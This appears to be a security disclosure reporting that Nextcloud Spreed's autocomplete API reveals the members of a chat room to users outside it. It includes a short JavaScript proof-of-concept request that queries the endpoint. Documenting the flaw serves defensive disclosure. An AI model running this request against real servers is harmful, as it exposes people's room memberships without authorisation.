Chat room member disclosure via autocomplete API

Summary: Even if you are not a member of a Spreed room, it is possible to find out who is in the room using the autocomplete API. I have not yet checked if this affects other autocomplete share types.

let req = new XMLHttpRequest();
req.open("GET", OC.generateUrl('/ocs/v2.php/core/autocomplete/get?search=demo&itemType=call&itemId=qqads88a&shareTypes[]=0&shareTypes[]=1&shareTypes[]=7&shareTypes[]=4'))
req.setRequestHeader('requesttoken',OC.requestToken)
req.send();